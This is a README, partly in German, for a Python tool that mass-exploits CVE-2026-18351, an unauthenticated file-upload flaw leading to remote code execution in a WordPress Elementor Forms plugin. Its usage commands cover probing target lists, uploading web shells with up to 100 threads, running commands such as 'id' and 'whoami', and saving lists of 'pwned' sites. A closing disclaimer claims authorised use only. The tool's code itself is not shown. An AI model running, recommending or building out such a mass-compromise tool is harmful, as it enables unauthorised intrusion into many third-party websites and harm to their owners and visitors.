Mass-Exploit-Tool für CVE-2026-18351, einen unauthentifizierten beliebigen Datei-Upload zu RCE in Elementor Forms <= 1.6.0, mit passivem Probing, Shell-Upload und Befehlsausführung.
Mass-Exploit-Tool für CVE-2026-18351 — Unauthenticated Arbitrary File Upload → RCE in Drag and Drop File Upload for Elementor Forms <= 1.6.0.
credit johenlastgen | telegram @johenlastgen | channel @jlgnetworkredirect
Keine externen Abhängigkeiten — verwendet nur die Python-Standardbibliothek.
python3 --version # 3.6+
# Single target — passive check only (no upload)
python3 mass.py --url http://target.com --check
# Single target — exploit with default command (id)
python3 mass.py --url http://target.com --cmd id
# Single target — exploit with custom command
python3 mass.py --url http://target.com --cmd whoami
# Mass targets — passive check
python3 mass.py --list targets.txt --threads 50 --check
# Mass targets — exploit
python3 mass.py --list targets.txt --threads 50 --cmd id
# Mass targets — exploit with timeout tuning
python3 mass.py --list targets.txt --threads 100 --timeout 8 --cmd whoami
# Save full log
python3 mass.py --list targets.txt --output results.txt
# Save only vulnerable targets
python3 mass.py --list targets.txt --output-vuln vuln.txt
# Save only confirmed RCE targets
python3 mass.py --list targets.txt --output-pwned pwned.txt
# Combined output
python3 mass.py \
--list targets.txt \
--threads 50 \
--cmd id \
--output results.txt \
--output-vuln vuln.txt \
--output-pwned pwned.txt
| Option | Description |
|---|---|
--url | Einzelne Ziel-URL |
--list FILE | Datei mit Ziel-URLs (eine pro Zeile) |
--check | Nur passive Sonde — kein Datei-Upload |
--cmd CMD | Befehl, der auf der Shell ausgeführt werden soll (Standard: id) |
--threads N | Anzahl gleichzeitiger Threads (Standard: 20) |
--timeout N | Timeout pro Request in Sekunden (Standard: 10) |
--output FILE | Vollständiges Log in Datei speichern |
--output-vuln FILE | Nur verwundbare Ziel-URLs in Datei speichern |
--output-pwned FILE | Nur bestätigte RCE-Ziele in Datei speichern |
| State | Meaning |
|---|---|
PWNED | Shell hochgeladen und RCE bestätigt |
VULN-NO-EXEC | Upload akzeptiert, aber Shell-Ausführung fehlgeschlagen |
PATCHED | Upload abgelehnt oder Nonce nicht gefunden |
ERROR | Netzwerk- oder Parse-Fehler |
Eine URL pro Zeile. Zeilen, die mit # beginnen, werden ignoriert.
http://target1.com
https://target2.com
# this line is ignored
http://target3.com
Dieses Projekt wird ausschließlich für autorisierte Sicherheitsbewertungen, defensive Sicherheitsforschung und Schwachstellenvalidierung bereitgestellt.
Durch die Nutzung dieser Software bestätigen Sie, dass Sie über eine ausdrückliche Autorisierung zur Bewertung der Zielsysteme verfügen. Unbefugter Zugriff auf Computersysteme ist verboten und kann gegen geltende Gesetze verstoßen.
Der Autor und die Mitwirkenden fördern oder billigen keine unbefugte Nutzung dieses Projekts und übernehmen keine Verantwortung oder Haftung für Missbrauch, Schäden oder rechtliche Konsequenzen, die sich aus der Nutzung ergeben.
JohenLastGen — JLG NETWORK